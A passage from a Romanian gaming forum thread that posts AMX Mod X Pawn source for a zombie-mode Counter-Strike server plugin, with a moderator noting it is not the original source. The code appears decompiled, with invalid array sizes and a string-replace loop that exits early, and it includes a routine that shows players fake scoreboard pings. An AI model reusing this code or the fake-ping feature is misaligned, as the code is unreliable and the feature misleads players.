	return iPlayers[random_num(0, j + -1)];
}

MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
	if (g_iZombieNextClass[iVictim] == -1)
	{
		menu_display(iVictim, g_iMenuZombieClasses, 0);
	}
	g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
	if (g_iZombieClass[iVictim] == -1)
	{
		g_iZombieClass[iVictim] = 0;
	}
	if (get_user_jetpack(iVictim))
	{
		user_drop_jetpack(iVictim, 1);
	}
	g_bZombie[iVictim] = true;
	set_zombie(iVictim, true);
	g_iBurningDuration[iVictim] = 0;
	g_iPlayerType[iVictim] = 0;
	g_bNoDamage[iVictim] = false;
	remove_glow(iVictim);
	g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];
	remove_task(iVictim + 200, 0);
	remove_task(iVictim + 250, 0);
	if (iAttacker)
	{
		send_death_msg(iAttacker, iVictim);
		send_score_attrib(iVictim);
		set_frags(iAttacker, get_frags(iAttacker) + 1);
		set_deaths(iVictim, get_deaths(iVictim) + 1);
		send_score_info(iAttacker);
		send_score_info(iVictim);
		g_iPacks[iAttacker]++;
		if (g_iZombieClass[iAttacker] == 6)
		{
			set_health(iAttacker, get_health(iAttacker) + 250);
			send_implosion(iAttacker);
			send_screen_fade(iAttacker);
			set_glow(iAttacker, 19, 13, 255, 10, 10);
			set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
			set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
		}
		if (g_iZombieClass[iAttacker] == 3)
		{
			set_health(iAttacker, get_health(iAttacker) + 500);
			send_screen_fade(iAttacker);
			set_hudmessage(220, 255, 10, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
		}
	}
	if (!bSilent)
	{
		if (bNemesis)
		{
			g_iPlayerType[iVictim] |= 1;
			set_health(iVictim, 150000);
			set_glow(iVictim, 19, 13, 250, 0, 0);
			g_cClass[iVictim] = "Nemesis"
			if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity, 0.5);	
		}
		else if (bAssassin)
		{
			g_iPlayerType[iVictim] |= 2;
			set_health(iVictim, 25000);
			g_cClass[iVictim] = "Assassin"
			if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity, 0.4);				
		}
		else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
		{
			set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
			emit_sound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)], 1.0, ATTN_NORM, 0, PITCH_NORM)
			if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity,  g_fZombieGravities[g_iZombieClass[iVictim]]);	
		}
		else
		{
		    set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
		    emit_sound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)], 1.0, ATTN_NORM, 0, PITCH_NORM)
		    set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
		    if (iAttacker)
		    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
		    else
		    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
		    if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity,  g_fZombieGravities[g_iZombieClass[iVictim]]);		
		}
	}
	else
	{
		set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
		if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity,  g_fZombieGravities[g_iZombieClass[iVictim]]);		
	}
	if (get_team(iVictim) != 1)
	{
		set_team ( iVictim, 1);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
	{
		ChangeModel(iVictim + 250);
		g_fLastChangedModel = fCurrentTime;
	}
	else
	{
		set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iVictim + 250, "", 0, "", 0);
		g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
	}
	if (g_iPlayerType[iVictim])
	{
		message_begin(MSG_ONE, get_user_msgid("SetFOV"), _, iVictim)
		write_byte(110)
		message_end()
		set_monster(iVictim, true);
	}
	else
	{
		if (g_iZombieClass[iVictim] == 4)
		{
			g_iJumpsNum[iVictim] = 1;
		}
	}	
	reset_armor(iVictim);
	send_screen_fade(iVictim);
	send_screen_shake(iVictim);
	send_damage(iVictim, 65536);
	send_implosion(iVictim);
	send_particle_burst(iVictim);
	send_light(iVictim);
	strip_user_weapons(iVictim);
	give_weapon(iVictim, "weapon_knife");
	Task_EnableFlash(iVictim);
	ExecuteHamB(Ham_Item_PreFrame, iVictim);
	return 0;
}

MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
	remove_task(iPlayer + 200, 0);
	remove_task(iPlayer + 350, 0);
	remove_task(iPlayer + 250, 0);
	g_bCanBuy[iPlayer] = 1;
	g_bNoDamage[iPlayer] = false;
	g_bFlashEnabled[iPlayer] = false;
	g_bFlash[iPlayer] = false;
	g_bFrozen[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	set_zombie(iPlayer, false);
	g_cClass[iPlayer] = "Human";
	strip_user_weapons(iPlayer);
	give_weapon(iPlayer, "weapon_knife");
	remove_glow(iPlayer);
	if (bSurvivor)
	{
		g_iPlayerType[iPlayer] |= 4;
		g_cClass[iPlayer] = "Survivor";
		set_health(iPlayer, 3000);
		give_weapon(iPlayer, "weapon_m4a1");
		give_ammo(iPlayer, 22, 9999);
		give_weapon(iPlayer, "weapon_ak47");
		give_ammo(iPlayer, 28, 9999);
		give_weapon(iPlayer, "weapon_xm1014");
		give_ammo(iPlayer, 5, 9999);
		give_weapon(iPlayer, "weapon_knife");
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_weapon(iPlayer, "weapon_hegrenade");
		}
		g_bUnlimitedClip[iPlayer] = true;
		if ( !g_bFrozen [iPlayer] ) set_pev ( iPlayer, pev_gravity, 1.2);			
	}
	else if (bSniper)
	{
		g_iPlayerType[iPlayer] |= 8;
		g_cClass[iPlayer] = "Sniper";
		set_health(iPlayer, 3000);
		give_weapon(iPlayer, "weapon_awp");
		give_ammo(iPlayer, 18, 9999);
		give_weapon(iPlayer, "weapon_knife");
		set_glow(iPlayer, 19, 13, 200, 200, 0);		
		if (!g_bFrozen[iPlayer]) set_pev (iPlayer, pev_gravity, 1.0);					
	}
	else
	{
		set_health(iPlayer, 150);		
		menu_display(iPlayer, g_iPrimaryMenu, 0);
		send_teleport(iPlayer);
		client_cmd(iPlayer, "spk zombie_plague/antidote");
		set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
		if ( !g_bFrozen [iPlayer] ) set_pev ( iPlayer, pev_gravity, 1.0);			
	}
	if (get_team(iPlayer) != 2)
	{
		set_team (iPlayer, 2);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
	{
		ChangeModel(iPlayer + 250);
		g_fLastChangedModel = fCurrentTime;
	}
	else
	{
		set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, "", 0, "", 0);
		g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
	}
	ExecuteHamB(Ham_Item_PreFrame, iPlayer);
	return 0;
}

InsertInfo(iPlayer)
{
	if (0 < g_iSize)
	{
		static iLast;
		iLast = 0;
		if (g_iSize < 10)
		{
			iLast = g_iSize + -1;
		}
		else
		{
			iLast = g_iTracker + -1;
			if (0 > iLast)
			{
				iLast = g_iSize + -1;
			}
		}
		if (equal(g_cPlayerAddress[iPlayer], g_cAddresses[iLast], 0))
		{
			copy(g_cLNames[iLast], 32, g_cName[iPlayer]);
			return 0;
		}
	}
	static iTarget;
	iTarget = 0;
	if (g_iSize < 10)
	{
		iTarget = g_iSize;
		g_iSize += 1;
	}
	else
	{
		iTarget = g_iTracker;
		g_iTracker += 1;
		if (g_iTracker == 10)
		{
			g_iTracker = 0;
		}
	}
	copy(g_cLNames[iTarget], 32, g_cName[iPlayer]);
	copy(g_cAddresses[iTarget], 24, g_cPlayerAddress[iPlayer]);
	return 0;
}

GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
	static iTarget;
	iTarget = i + g_iTracker % 10;
	copy(cName, iNameSize, g_cLNames[iTarget]);
	copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
	return 0;
}

stock AddCommas(Num, Output[], Len)
{
   static Tmp[16], OutputPos = 0, NumPos = 0, NumLen = 0;

   OutputPos = NumPos = 0;

   if (Num < 0)
   {
      Output[OutputPos++] = '-';

      Num = abs(Num);
   }

   NumLen = num_to_str(Num, Tmp, charsmax(Tmp));

   if (NumLen <= 3)
      OutputPos += copy(Output[OutputPos], Len, Tmp);

   else
   {
      while (NumPos < NumLen && OutputPos < Len)
      {
         Output[OutputPos++] = Tmp[NumPos++];

         if (NumLen - NumPos && !((NumLen - NumPos) % 3))
            Output[OutputPos++] = ',';
      }

      Output[OutputPos] = '^0';
   }
}

public Update_Client_Data(id)
{
    if( !(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
        return;
    
    static player, sending;
    sending = 0;
    
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( !is_user_connected( player ) )
             continue;
        
        switch( sending )
        {
            case 0:
            {
                message_begin( MSG_ONE_UNRELIABLE, SVC_PINGS, _, id );
                write_byte( ( g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 ) ) );
                write_short( g_iArgumentPing[ player ][ 0 ] );
                sending++;
            }
            
            case 1:
            {
                write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
                write_short( g_iArgumentPing[ player ][ 1 ] );
                sending++;
            }
            
            case 2:
            {
                write_byte( ( 4 + 8 * ( player - 1 ) ) );
                write_short( g_iArgumentPing[ player ][ 2 ] );
                write_byte( 0 );
                message_end( );
                sending = 0;
            }
        }
    }
    
    if (sending)
    {
        write_byte( 0 );
        message_end( );
    }
}

public TaskCalculateArguments()
{
    static player, ping;
    
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( g_iPingOverride[ player ] < 0 )
		{
            ping = random_num(-4, 4) + 12;
        }
        else
		{
            ping = g_iPingOverride[ player ];
        }
        for( g_iOffset [ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
        {
            if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
            {
                g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
                break;
            }
        }
        
        for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
        {
            if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
            {
                g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
                break;
            }
        }
        g_iArgumentPing[ player ][ 2 ] = ping;
    }
}

stock GetEntitySpeed(iEntity)
{
	static Float:velocity[3]
	pev(iEntity, pev_velocity, velocity)
	
	return floatround(vector_length(velocity));
}

stock entity_set_aim(ent,const Float:origin2[3],bone=0)
{
	if(!pev_valid(ent))
		return 0;

	static Float:origin[3]
	origin[0] = origin2[0]
	origin[1] = origin2[1]
	origin[2] = origin2[2]

	static Float:ent_origin[3], Float:angles[3]

	if(bone)
		engfunc(EngFunc_GetBonePosition,ent,bone,ent_origin,angles)
	else
		pev(ent,pev_origin,ent_origin)

	origin[0] -= ent_origin[0]
	origin[1] -= ent_origin[1]
	origin[2] -= ent_origin[2]

	static Float:v_length
	v_length = vector_length(origin)

	static Float:aim_vector[3]
	aim_vector[0] = origin[0] / v_length
	aim_vector[1] = origin[1] / v_length
	aim_vector[2] = origin[2] / v_length

	static Float:new_angles[3]
	vector_to_angle(aim_vector,new_angles)

	new_angles[0] *= -1

	if(new_angles[1]>180.0) new_angles[1] -= 360
	if(new_angles[1]<-180.0) new_angles[1] += 360
	if(new_angles[1]==180.0 || new_angles[1]==-180.0) new_angles[1]=-179.999999

	set_pev(ent,pev_angles,new_angles)
	set_pev(ent,pev_fixangle,1)

	return 1;
}

stock get_speed_vector2(ent1, ent2, Float:speed, Float:new_velocity[3])
{
	if(!pev_valid(ent1) || !pev_valid(ent2))
		return 0;

	static Float:origin1[3]
	pev(ent1,pev_origin,origin1)
	static Float:origin2[3]
	pev(ent2,pev_origin,origin2)

	new_velocity[0] = origin2[0] - origin1[0]
	new_velocity[1] = origin2[1] - origin1[1]
	new_velocity[2] = origin2[2] - origin1[2]
	new Float:num = floatsqroot(speed*speed / (new_velocity[0]*new_velocity[0] + new_velocity[1]*new_velocity[1] + new_velocity[2]*new_velocity[2]))
	new_velocity[0] *= num
	new_velocity[1] *= num
	new_velocity[2] *= num

	return 1;
}

stock fm_find_ent_by_owner(index, const classname[], owner, jghgtype = 0) 
{
	new strtype[11] = "classname", ent = index;
	switch (jghgtype) {
		case 1: strtype = "target";
		case 2: strtype = "targetname";
	}

	while ((ent = engfunc(EngFunc_FindEntityByString, ent, strtype, classname)) && pev(ent, pev_owner) != owner) {}

	return ent;
}
nup asta are modul si ala nu avea
eXtreamSHOP
User avatar
Rainq
Super moderator
Super moderator
Posts: 2700
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ---
Reputatie: Super Moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucuresti
Has thanked: 5 times
Been thanked: 23 times
Contact:

27 Sep 2019, 16:19

vezi ca asta nu e sma-ul original de la outstanding

Code: Select all

#include zombie_outstanding
#include hamsandwich
#include float
#include sqlx

#pragma library hamsandwich
#pragma library zombie_outstanding
#pragma library sqlx


new g_cZombieInfectSounds[5][0] =
{
    "ZombieOutstanding/zombie_infect_01.wav",
    "ZombieOutstanding/zombie_infect_02.wav",
    "ZombieOutstanding/zombie_infect_03.wav",
    "ZombieOutstanding/zombie_infect_04.wav",
    "ZombieOutstanding/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
    "ZombieOutstanding/end_round_win_zombies_01.wav",
    "ZombieOutstanding/end_round_win_zombies_02.wav",
    "ZombieOutstanding/end_round_win_zombies_03.wav",
    "ZombieOutstanding/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
    "ZombieOutstanding/end_round_win_humans_01.wav",
    "ZombieOutstanding/end_round_win_humans_02.wav",
    "ZombieOutstanding/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
    "ZombieOutstanding/round_start_survivor_01.wav",
    "ZombieOutstanding/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
    "ZombieOutstanding/round_start_nemesis_01.wav",
    "ZombieOutstanding/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
    "ZombieOutstanding/zombie_burn_01.wav",
    "ZombieOutstanding/zombie_burn_02.wav",
    "ZombieOutstanding/zombie_burn_03.wav",
    "ZombieOutstanding/zombie_burn_04.wav",
    "ZombieOutstanding/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
    "ZombieOutstanding/human_nade_infect_scream_01.wav",
    "ZombieOutstanding/human_nade_infect_scream_02.wav",
    "ZombieOutstanding/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
    { 0.50, 0.40 },
    { 0.56, 0.44 },
    { 0.60, 0.50 },
    { 0.56, 0.56 },
    { 0.50, 0.60 },
    { 0.44, 0.56 },
    { 0.40, 0.50 },
    { 0.44, 0.44 }
};
new g_cHumanModels[4][0] =
{
    "terror",
    "gign",
    "sas",
    "arctic"
};
new g_cZombieModels[7][0] =
{
    "z_out_clasic",
    "z_out_raptor",
    "z_out_mutant",
    "z_out_tight",
    "z_out_regenerator",
    "z_out_predator_blue",
    "z_out_hunter"
};
new g_cZombieClaws[7][0] =
{
    "models/ZombieOutstanding/z_out_clasic_claws.mdl",
    "models/ZombieOutstanding/z_out_raptor_claws.mdl",
    "models/ZombieOutstanding/z_out_mutant_claws.mdl",
    "models/ZombieOutstanding/z_out_tight_claws.mdl",
    "models/ZombieOutstanding/z_out_raptor_claws.mdl",
    "models/ZombieOutstanding/z_out_predator_blue_claws.mdl",
    "models/ZombieOutstanding/z_out_hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
	6000, 5250, 7500, 4250, 5500, 6000, 5450
};
new Float:g_fZombieGravities[7] =
{
	1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
	264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
	0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][14] =
{
    "Clasic",
    "Raptor",
    "Mutant",
    "Tight",
    "Regenerator",
    "Predator Blue",
    "Hunter"
};
new g_cZombieAttribs[7][0] =
{
    "\r[=Balanced=]",
    "\r[Speed +++]",
    "\r[Health +++]",
    "\r[Double Jump]",
    "\r[Regeneration]",
    "\r[Powerful]",
    "\r[Silent Killer]"
};
new g_cExtraItems[25][0] =
{
    "Antidote",
    "Fire Grenade",
    "Freeze Grenade",
    "Explosion Grenade",
    "Infection Grenade",
    "Killing Grenade",
    "M249 Machine Gun",
    "G3SG1 Auto Sniper Rifle",
    "SG550 Auto Sniper Rifle",
    "AWP Sniper Rifle",
    "Nightvision Googles",
    "Zombie Madness",
    "Jetpack + Bazooka",
    "Unlimited Clip",
    "Armor (100ap)",
    "Armor (200ap)",
    "Multijump +1",
    "Tryder",
	"Golden Kalashnikov (AK-47)",
	"Golden Desert Eagle (Night Hawk)",
    "Survivor",
    "Sniper",
    "Nemesis",
    "Assassin",
    "Knife Blink"
};
new g_iExtraItemsPrices[25] =
{
	15, 4, 3, 4, 26, 42, 9, 11, 10, 9, 2, 15, 32, 10, 5, 10, 5, 30, 36, 20, 180, 175, 140, 140, 10
};
new g_cExtraItemsPrices[25][0] =
{
    "\r[15 packs]",
	"\r[4 packs]",
	"\r[3 packs]",
	"\r[4 packs]",
	"\r[26 packs]",
	"\r[42 packs]",
	"\r[9 packs]",
	"\r[11 packs]",
	"\r[10 packs]",
	"\r[9 packs]",
	"\r[2 packs]",
	"\r[15 packs]",
	"\r[32 packs]",
	"\r[10 packs]",
	"\r[5 packs]",
	"\r[10 packs]",
	"\r[5 packs]",
	"\r[30 packs]",
	"\r[36 packs]",
	"\r[20 packs]",
	"\r[180 packs]",
	"\r[175 packs]",
	"\r[140 packs]",
	"\r[140 packs]",
	"\r[10 packs]"
};
new g_iExtraItemsTeams[25] =
{
	1, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cShopItems[8][0] =
{
    "Double Damage",
    "Buy Server Slot",
    "Buy Admin Model",
    "100 Ammo Packs",
    "200 Ammo Packs",
    "300 Ammo Packs",
    "God Mode",
    "Armageddon Round"
};
new g_iShopItemsPrices[8] =
{
	120, 700, 2250, 160, 200, 280, 150, 180
};
new g_iShopItemsTeams[8] =
{
	2, 0, 0, 0, 0, 0, 2, 0
};
new g_cShopItemsPrices[8][0] =
{
    "\r[120 points]",
    "\r[700 points]\y (Recommended)",
    "\r[2250 points]",
    "\r[160 points]",
    "\r[200 points]",
    "\r[280 points]",
    "\r[150 points]",
    "\r[180 points]"
};
new g_cSecondaryWeapons[6][0] =
{
    "USP",
    "GLOCK18",
    "P228",
    "DEAGLE",
    "ELITE",
    "FIVESEVEN"
};
new g_cPrimaryWeapons[10][0] =
{
    "GALIL",
    "FAMAS",
    "M4A1",
    "AK47",
    "AUG",
    "SG552",
    "XM1014",
    "M3",
    "MP5NAVY",
    "P90"
};
new g_cSecondaryEntities[6][0] =
{
    "weapon_usp",
    "weapon_glock18",
    "weapon_p228",
    "weapon_deagle",
    "weapon_elite",
    "weapon_fiveseven"
};
new g_cPrimaryEntities[10][0] =
{
    "weapon_galil",
    "weapon_famas",
    "weapon_m4a1",
    "weapon_ak47",
    "weapon_aug",
    "weapon_sg552",
    "weapon_xm1014",
    "weapon_m3",
    "weapon_mp5navy",
    "weapon_p90"
};
new g_iVoter;
new Handle:g_hSQLTuple;
new bool:g_bZombie[33];
new g_iPlayerType[33];
new bool:g_bFlashEnabled[33];
new bool:g_bDoubleDamage[33];
new bool:g_bServerSlot[33];
new g_iMaxJumps[33];
new bool:g_bAdminModel[33];
new g_iBlinks[33];
new g_iAntidoteSync;
new g_iRegenerationSync;
new bool:g_bFlash[33];
new g_iRoundType;
new g_iVariable;
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iPoints[33];
new g_iScore[33];
new Float:g_fLastQuery;
new g_iTimeLimit;
new g_iKills[33];
new g_iAliveCount;
new bool:g_bUnlimitedClip[33];
new bool:g_bKilling[33];
new bool:g_bGolden[33];
new g_iVersusSync;
new g_iRounds[1024];
new g_iRoundsCount;
new g_iDeaths[33];
new g_iOnlineTime[33];
new Float:g_fLastTime[33];
new g_cOnlineTime[33][32];
new g_cClass[33][14];
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new bool:g_bFrozen[33];
new bool:g_bRanked[33];
new Data[33][5][128];
new bool:Loaded[33];
new bool:g_bAdmin[33];
new g_cAdminFlags[33][42];
new g_cName[33][32];
new bool:g_bModeStarted;
new g_cInternetProtocolAddress[33][24];
new Float:g_fLastLeapTime[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iLastMode;
new g_cRegisteredCharacter[32];
new bool:g_bGoldenDeagle[33];
new Float:g_fDamage[33];
new g_iPacks[33];
new g_iTopMessageSync;
new Float:g_fGagTime[33];
new g_iEventsHudmessage;
new g_cQuery[256];
new g_iBurningDuration[33];
new g_iWeapon[33];
new g_iJumps[33];
new g_iDownMessageSync;
new g_iMenu;
new g_cVipNames[128][32];
new g_cVipPasswords[128][32];
new g_cVipFlags[128][32];
new Float:g_fLastNameChanged[33];
new g_iCounter;
new bool:g_bConnected[33];
new bool:g_bVoting;
new g_iSecondaryWeapons[64];
new bool:g_bGaveThisRound[33];
new g_iPrimaryWeapons[64];
new g_cSteam[33][24];
new bool:g_bSecondVoting;
new g_iVipsCount;
new g_iDamageSync[8];
new g_iVotes[7];
new g_cMaps[7][32];
new bool:g_bEnded;
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_iRanksCount;
new g_iKillsThisRound[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iMaxClients;
new g_iPosition[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iLeftSync[2];
new g_iAdvertisementsSync;
new g_iCenterMessageSync;
new g_iPrimaryMenu;
new g_cGlobalPassword[33][32];
new g_iShopMenu;
new g_iMenuZombieClasses;
new g_iMenuExtraItems;
new bool:g_bNoDamage[33];
new Float:g_fLastChangedModel;
new g_iTripMines[33];
new g_iPlantedMines[33];
new g_iSize;
new bool:g_bVip[33];
new g_cPersonalFlags[33][32];
new g_iMessagePosition;
new bool:g_bPlanting[33];
new g_iCounterMessage;
new bool:g_bRemoving[33];
new g_iMineMessage;
new g_iSecondMineMessage;
new g_iPlayerMines[33][2];
new g_cTag[128][24];
new g_cAdvertisements[72][188];
new g_iAdvertisementsCount;
new bool:g_Hidden[33];
new g_iMessage;
new bool:g_bSwitching;
new Float:g_fRoundStartTime;
new g_cModeRecordings[52][32];
new g_iModeRecordings;
new g_cNames[10][32];
new g_iTracker;
new g_Secret[32];
new g_cPasswords[33][32];
new g_cAddresses[10][24];
new Float:g_fLast[33];
new Float:g_fLastRankQuery;
new Float:g_fLastBanQuery;
new g_cHudAdvertisements[50][188];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iSnipers;
new g_iSurvivors;
new bool:g_bCachedDamage[33];
new g_iRemainingSync;

replace_all(string[], len, what[], with[])
{
	new pos;
	if ((pos = contain(string, what)) == -1)
	{
		return 0;
	}
	new total;
	new with_len = strlen(with);
	new diff = strlen(what) - with_len;
	new total_len = strlen(string);
	new temp_pos;
	while (replace(string[pos], len - pos, what, with))
	{
		pos = with_len + pos;
		total_len -= diff;
		if (!(pos >= total_len))
		{
			temp_pos = contain(string[pos], what);
			if (!(temp_pos == -1))
			{
				pos = temp_pos + pos;
				total++;
			}
			return total;
		}
		return total;
	}
	return total;
}

public __fatal_ham_error(Ham:id, HamError:err, const reason[])
{
	new func=get_func_id("HamFilter", -1);
	new bool:fail=true;
	if (func != -1 && callfunc_begin_i(func, -1)==1)
	{
		callfunc_push_int(_:id);
		callfunc_push_int(_:err);
		callfunc_push_str(reason, false);
		if (callfunc_end()==1)
		{
			fail=false;
		}
	}
	if (fail)
	{
		set_fail_state(reason);
	}
	return 0;
}


StripName( Name[ ] ) 
{
	for( new i = 0; i < strlen( Name ); i++ ) {
		Name[ i ] = tolower( Name[ i ] );

		if( !isalpha( Name[ i ] ) )
			Name[ i ] = '_';
	}
}

LoadData(Player)
{
	new Name[32];
	get_user_name(Player, Name, 31);
	StripName(Name);
	new FileLine[256];
	formatex(FileLine, 255, "addons/SpecialGeoip/PlayerData/%s.ini", Name);
	new File = fopen(FileLine, "r");
	if (File)
	{
		new Row[256];
		new Key[128];
		new Value[128];
		new i;
		while (!feof(File))
		{
			fgets(File, Row, 255);
			trim(Row);
			if (Row[0] == 34)
			{
				parse(Row, Key, 127, Value, 127);
				if (i < 5)
				{
					formatex(Data[Player][i], 127, "%s", Value);
				}
				i++;
			}
		}
		fclose(File);
		Loaded[Player] = true;
	}
	return 0;
}

VipHasFlag(iPlayer, iFlag)
{
	new i;
	while (i < 32)
	{
		if (iFlag == g_cPersonalFlags[iPlayer][i])
		{
			return 1;
		}
		i++;
	}
	return 0;
}

public MessageSayText()
{
	if (get_msg_args() == 4)
	{
		static iSender;
		iSender = get_msg_arg_int(1);
		if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
		{
			static cReplacement[189];
			static cPhrase[47];
			get_msg_arg_string(2, cPhrase, 46);
			if (equal(cPhrase, "#Cstrike_Chat_CT", 0))
			{
				formatex(cReplacement, 188, "^1(Counter-Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T", 0))
			{
				formatex(cReplacement, 188, "^1(Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_CT_Dead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD*(Counter-Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T_Dead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD*(Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_Spec", 0))
			{
				formatex(cReplacement, 188, "^1(Spectator) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_All", 0))
			{
				formatex(cReplacement, 188, "^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllDead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD* ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllSpec", 0))
			{
				formatex(cReplacement, 188, "^1*SPEC* ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
		}
	}
	return 0;
}

StartSwarmMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 27) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 64;
		g_iRoundType = g_iRoundType | 64;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || get_team(i) == 1)
			{
				set_team(i, 2);
			}
			else
			{
				MakeZombie(0, i, true, false, false);
			}
			i += 1;
		}
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
		remove_task(600, 0);
